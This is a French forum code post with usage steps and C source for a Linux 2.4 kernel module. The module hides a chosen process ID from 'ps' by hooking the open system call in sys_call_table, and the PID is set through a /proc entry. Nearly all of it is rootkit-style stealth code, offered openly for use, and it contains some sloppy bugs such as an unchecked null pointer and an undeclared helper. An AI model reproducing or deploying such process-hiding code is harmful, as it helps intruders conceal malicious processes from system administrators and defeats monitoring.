- Utilisation: make
- insmod procfs.o (pour charger le module
- echo -n "N° du pid du processesus a rendre invisible" > /proc/procfs
- rmmod procfs (pour décharger le processus
Testé sou une Knoppix 3.6 noyau 2.4.xx
Source / Exemple :
/***********************************************************************************
- Module permettant de rendre un processus
- non visible par la commande 'ps'
*
- Utilisation: make
- insmod procfs.o (pour charger le module
- echo -n "N° du pid du processesus a rendre invisible" > /proc/procfs
- rmmod procfs (pour décharger le processus
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#include <linux/fs.h>
#include <linux/unistd.h>
#include <sys/syscall.h>
#include <linux/dirent.h>
struct proc_dir_entry *Our_Proc_File;
#define MESSAGE_LENGTH 80
#define PROC_ENTRY_FILENAME "rw_test"
static char Message[MESSAGE_LENGTH];
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//On définit la macro dont on aura besoin, ici pour open
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//Pour pouvoir acceder a la sys_call_table
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
extern void *sys_call_table[];
int new_open(char*,int);
int pid_furtif = 5531;
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//On définit les variables ou sera stocker le syscall open original
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
int(*original_open)(char*,int);
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Module qui permet l'ecriture dans notre fichier procfs
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static ssize_t module_output(struct file *filp,char *buffer,size_t length,loff_t * offset)
{
static int finished = 0;
int i;
char message[MESSAGE_LENGTH + 30];
if (finished)
{
finished = 0;
return 0;
}
sprintf(message, "Last input:%s", Message);
for (i = 0; i < length && message[i]; i++)
{
put_user(Message[i], buffer + i);
}
finished = 1;
printk(message);
return i;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Module qui nous permet de lire le fichier procfs qui contient le numero du processus a rendre invisible
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static ssize_t module_input(struct file *filp, const char *buff, size_t len, loff_t * off)
{
int i;
for (i = 0; i < MESSAGE_LENGTH && i < len; i++)
{
get_user(Message[i], buff + i);
}
pid_furtif = my_atoi(&Message);
printk("%i\n",pid_furtif);
Message[i] = '\0';
return i;
}
static struct file_operations File_Ops_2_Our_Proc_File =
{
.read = module_output,
.write = module_input,
};
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Module qui permet l'initialisation de notre module lors de son chargement
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
int init_module()
{
int rv = 0;
Our_Proc_File = create_proc_entry("procfs", 0644, NULL);
if (Our_Proc_File == NULL)
{
rv = ENOMEM;
remove_proc_entry("procfs", &proc_root);
printk(KERN_INFO "Error: Could not initialize /proc/procfs\n");
}
Our_Proc_File->proc_fops = &File_Ops_2_Our_Proc_File;
Our_Proc_File->owner = THIS_MODULE;
Our_Proc_File->mode = S_IFREG | S_IRUGO;
Our_Proc_File->uid = 0;
Our_Proc_File->gid = 0;
Our_Proc_File->size = 37;
printk(KERN_INFO "Created /proc/procfs:\n");
original_open=sys_call_table[SYS_open];
sys_call_table[SYS_open]=new_open;
return rv;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Module qui nous permet de decharger notre module en rendant le syscall open a son etat original et efface le fichier
// procfs du dossier /proc
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void cleanup_module()
{
sys_call_table[SYS_open]=original_open;
remove_proc_entry("procfs", &proc_root);
printk(KERN_INFO "/proc/procfs removed\n");
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//Ici notre redefinition de la methode open
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
int new_open(char *chemin,int mode)
{
if(pid_furtif == my_atoi(chemin))
{
return (-1);
}
else
{
return original_open(chemin,mode);
}
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//Conversion d'une chaine de caracter en entier
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
uint my_atoi(char *n)
{
register uint ret = 0;
while ((((*n) < '0') || ((*n)> '9')) && (*n))
{
n++;
}
while((*n) >='0' && (*n) <= '9')
{
ret = ret * 10 + (*n) -'0';
n++;
}
return ret;
}
Conclusion :
Version open source ;)
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.